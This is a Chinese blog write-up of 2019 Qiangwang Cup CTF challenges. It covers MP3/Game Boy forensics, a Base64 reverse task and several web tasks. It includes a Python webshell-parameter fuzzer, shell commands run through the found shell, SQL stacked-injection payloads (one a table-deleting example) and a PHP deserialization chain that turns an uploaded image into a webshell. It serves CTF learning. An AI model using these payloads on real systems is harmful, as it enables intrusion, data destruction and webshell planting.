2019强网杯部分misc&web


0x01 前言

前两天菜鸡+x和几个大哥算是正式参加了一次ctf的线上赛,也是第一次参加这种比赛(前一段时间巨佬也给了我们一个西班牙的比赛,不过不算是正式参赛,做题的时候,比赛已经结束了),没想到出师不利,菜的一B,除了一个证明你签了到的签到题,一道题也没有弄出来,今天的我也是一个卑微的弟弟啊!比赛结束了,大佬们开始放writeup了,准备有些题目还是再看一看,复现一下。

0x02 鲲or鳗orGame

最先开始做的便是这道MISC的题目“鲲or鳗orGame”

进入网站后,发现鲲or鳗orGame有3个选项

鲲和鳗打开分别有一段mp3就是鸡你太美和大碗宽面

听音频除了其中一首歌前面加了几秒的键盘敲击声都没什么区别,用Audacity打开查看频谱也没有发现问题,WinHex二进制分析也没有发现什么特殊的地方,尝试使用MP3Stego提取文件,也没有找到密码,也没看到什么提示,就很是难受,就转向去分析游戏游戏如图,看了就知道怎么玩

完了几把,发现难度还是那么大,难受.jpg,查看网页源码,就是一堆js文件

没有看出区别后,我还是觉得mp3会有问题,一直分析了好久,都没有结果

比赛结束后放出了wp,看了后才明白怎么弄,在游戏页面加载时还有一个gb文件

将文件按目录全部保存到本地,使用VisualBoyAdvance模拟器可以打开这个gb文件,达到本地浏览效果,然且这个模拟器还有金手指功能

打开游戏

后先打开一个搜索,然后完了几把,通过最高纪录和本次的分,发现主要是两个位置

将最高纪录分数改到255,使用16进制表示

再开一把游戏,不管玩到多少分,都会弹出flag

0x03 逆向题 强网先锋 AD

这道题也是当时看了很久,没有分析出来,看了wp才明白的,附件下载下来,并没有尾缀

直接拖到IDA中F5,查看main函数,从v44到v40将原本的数字转为字符

发现最后有两个等号,果断Base64,但是第一个v44时int型的,不能计算,只记录后面的

ZmxhZ3ttYWZha3VhaWxhaXFpYW5kYW9ifQ== base64 Decode

0x04 MISC 打野

附件下载下来解压后,是一个名字为“瞅啥”的rar压缩包,解压后,一张鲲的图片

使用zsteg 得到flag

0x05 高明的黑客

页面打开后如图

访问 wensite/www.tar.gz 得到源码压缩包,解压后3002个命名奇特的文件,而且每个文件打开都是很奇怪的代码

看页面内容为高明的黑客,而且php文件里面也发现了大量GET和POST提交的变量,可能是shell的密码,但是不知道到底是哪个php文件的哪个参数,写脚本fuzz

import osimport requestsfrom multiprocessing import Pool?path = "/src/"#下载下来源码文件路径files = os.listdir(path)url = "http://localhost/src/"#网站地址??def extract(f):    gets = []    with open(path+f, ‘r‘) as f:        lines = f.readlines()        lines = [i.strip() for i in lines]        for line in lines:            if line.find("$_GET[‘") > 0:                start_pos = line.find("$_GET[‘") + len("$_GET[‘")                end_pos = line.find("‘", start_pos)                gets.append(line[start_pos:end_pos])    return gets??def exp(start, end):    for i in range(start, end):        filename = files[i]        gets = extract(filename)        print "try: %s" % filename        for get in gets:            new_url = "%s%s?%s=%s" % (url, filename, get, ‘echo "got it"‘)            r = requests.get(new_url)            if ‘got it‘ in r.content:                print new_url                break??def main():    pool = Pool(processes=15)    for i in range(0, len(files), len(files)/15):        pool.apply_async(exp, (i, +len(files)/15,))    pool.close()    pool.join()??if __name__ == "__main__":    main()

跑出来是xk0SzyKwfzw.php 这个文件,GET提交参数Efa5BVG

直接cat获取到flagwebsite/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag

0x06 随便注

这道题主要考察堆叠注入

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

随便测试一下,提交1‘ union select 1,2,3,返回

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

存在过滤,基本关键词都被过滤了,使用堆叠注入

提交 1‘;show tables; # 显示

array(2) {  [0]=>  string(1) "1"  [1]=>  string(7) "hahahah"}?array(1) {  [0]=>  string(16) "1919810931114514"}?array(1) {  [0]=>  string(5) "words"}

提交1‘;show columns from ‘1919810931114514‘;# 返回1919810931114514中的字段名

直接用存储过程+16进制进行绕过,,并返回结果

1‘;[email protected]=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

0x07 Upload

20191101添加

页面打开后,可以登陆,和注册,注册一个账号后,发现是一个上传界面

但是只能上传图片,且不会给出上传的位置,应该需要就是上传木马,但是经过尝试只能上传图片马,不能直接利用,使用dirsearch路径扫描,发现源码泄露,直接访问www.tar.gz就可以得到源码,接下来进行代码审计

是个tp5的框架系统,首先查看路由信息,主要关注index和upload_img

先看index.php,在login_check方法中,系统从cookie中获取到字符串,然后反序列化

在Profile中,在 upload_img 方法中有上传文件复制操作,而这个操作中的 $this->ext、$this->filename_tmp、$this->filename 均可通过反序列化控制。如果我们能调用 upload_img 这一方法,在知道图片路径的情况下,就可以任意重命名图片文件,就可以实现图片马了。

在后面,还存在两个魔术方法

继续看Register.php,在tp5/application/web/controller/Register.php 文件中存在 __destruct 方法,其 $this->registed、$this->checker 在反序列化时也是可控的。如果我们将 $this->checker 赋值为 Register 类,而 Register 类没有 index 方法,所以调用的时候就会触发 __call 方法,这样就形成了一条完整的攻击链。

最后的攻击链为:

 Register->__destruct Profile-> __call Profile-> __get Profile-> upload_img()

我们先上传一个图片马上去,上传之后可以F12找到文件路径,并访问

构造如下代码,并在本地运行,得到一个cookie,使用这个cookie替换题目站得cookie

<?phpnamespace app\web\controller;class Profile{    public $checker=0;    public $filename_tmp="../public/upload/f4e7685fe689f675c85caeefaedcf40c/3b5cc1c061dce193bb89ea4ee47ace85.png";    public $filename="../public/upload/f4e7685fe689f675c85caeefaedcf40c/xianyu.php";    public $upload_menu;    public $ext=1;    public $img;    public $except=array(‘index‘=>‘upload_img‘);}class Register{    public $checker;    public $registed=0;}$a=new Register();$a->checker=new Profile();$a->checker->checker = 0;// echo serialize($a);echo base64_encode(serialize($a));?>

连上之后,在根目录可以读flag

0x08 目前就看了这几个wp,以后看了其他的,会尽量复现一下

原文地址:https://www.cnblogs.com/sesefadou/p/11788029.html

时间: 2024-11-07 19:51:39

2019强网杯部分misc&web的相关文章

强网杯web复现

平台:https://buuoj.cn/challenges 2019 强网杯的题目总结 UPLOAD wp 大佬的 wp : https://www.zhaoj.in/read-5873.html 个人总结 只能上传正常的图片,非 png 格式会自动转化为 png,图片被保存在 upload 目录下 本题是 www.tar.gz 泄露,源码泄露总结点击此处 函数流程: 没有登陆时,跳转到 index.php,进行注册登陆.login_check 函数将 cookie('user') 赋给 pr

刷题记录:[强网杯 2019]Upload

目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challenges 参考链接:2019 第三届强网杯 Web 部分 WriteUp + 复现环境 一.知识点 1.源码泄露 www.tar.gz 2.php反序列化 看起来文件很大,但是用phpstorm打开的话会发现默认打开的文件里有两个断点,其实是给的hint,指出了反序列化利用的地方.之后常规的反序列化

第二届“强网杯”全国网络安全挑战赛来袭——线上赛

为全面贯彻习主席关于网络安全和信息化工作的一系列重要指示精神,延揽储备锻炼网信领域优秀人才,提升国家网络空间安全能力水平,举办第二届"强网杯"全国网络安全挑战赛.该比赛是面向高等院校和国内信息安全企业的一次国家级网络安全赛事,旨在通过激烈的网络竞赛对抗,培养和提高国家网络安全保障能力和水平,发现网络安全领域优秀人才,提升全民网络空间的安全意识和能力水平. 比赛链接 官方比赛链接地址:https://www.ichunqiu.com/2018qwb?from=bkyl 比赛时间 线上赛报

2019护网杯baby_forensic

题目名称:baby_forensic题目描述:can you catch the flag?附件:“data.7z” 2019护网杯初赛的一道取证题,比赛时没做出来,赛后又研究了一下. 获取profile的类型,因为不同的系统数据结构不一样,所以需要用--profile=来指定. 这里自动猜解可能的系统类型,一般情况下第一个是正确的,如果不对每个都试一下. volatility -f /root/data.vmem imageinfo 列出所有的进程 volatility -f /root/da

[强网杯]随便注

[强网杯]随便注 当所需的语句被ban时可以考虑,用其他方式实现该语句.但是如果想不出同样可以考虑改变数据来利用本来执行的语句. 打开页面,一个输入框,前端注释写了一个SQLMAP是没有灵魂的23333(为我的sqlmap R.I.P),很明显是个注入题.Fuzz之后得到提示过滤了一些参数,并且发现存在堆叠注入. return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); 111';show da

[原题复现]强网杯 2019 WEB高明的黑客

简介  原题复现:  考察知识点:python代码编写能力...  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 简介 页面提示有源码可以下载,直接拼接URL www.tar.gz 下载后发现一堆php 初步考虑就是有考察根脚本编写有关 打开代码发现这些 有get.pos 还有var_dump() 每个页面都有很多看WP说这是shell 因为很多都不能用所以要编写一个能检测利用的py v1.0版本(速度太慢) i

2015广州强网杯(Misc)

单身狗: 下载图片 被一只狗挡住了的二维码,用图片处理软件把上面两个正方形随便一个覆盖狗的地方 我直接用美图秀秀处理一下,扫一下就得到flag 原文地址:https://www.cnblogs.com/sch01ar/p/8799325.html

强网杯 2019]随便注(堆叠注入,Prepare、execute、deallocate)

然后就是今天学的新东西了,堆叠注入. 1';show databases; # 1';show tables; # 发现两个表1919810931114514.words 依次查询两张表的字段 1'; show columns from 表名; # 不过有点问题,只有words有回显.(翻博客发现数字串为表名的表操作时要加反引号,加上之后发现的确有flag字段) 大佬wp展示了一手存储过程绕过 payload: http://web16.buuoj.cn/?inject=1%27;[email 

[BUUOJ记录] [强网杯 2019]随便注(三种方法)

本题主要考察堆叠注入,算是比较经典的一道题,在i春秋GYCTF中也出现了本题的升级版 猜测这里的MySQL语句结构应该是: select * from words where id='$inject'; 构造Payload:用单引号+分号闭合前面的语句,插入SQL语句,再用注释符注释掉后面的语句即可 先列出所有数据库: 1';show databases;# 得到: array(1) { [0]=> string(11) "ctftraining" } array(1) { [0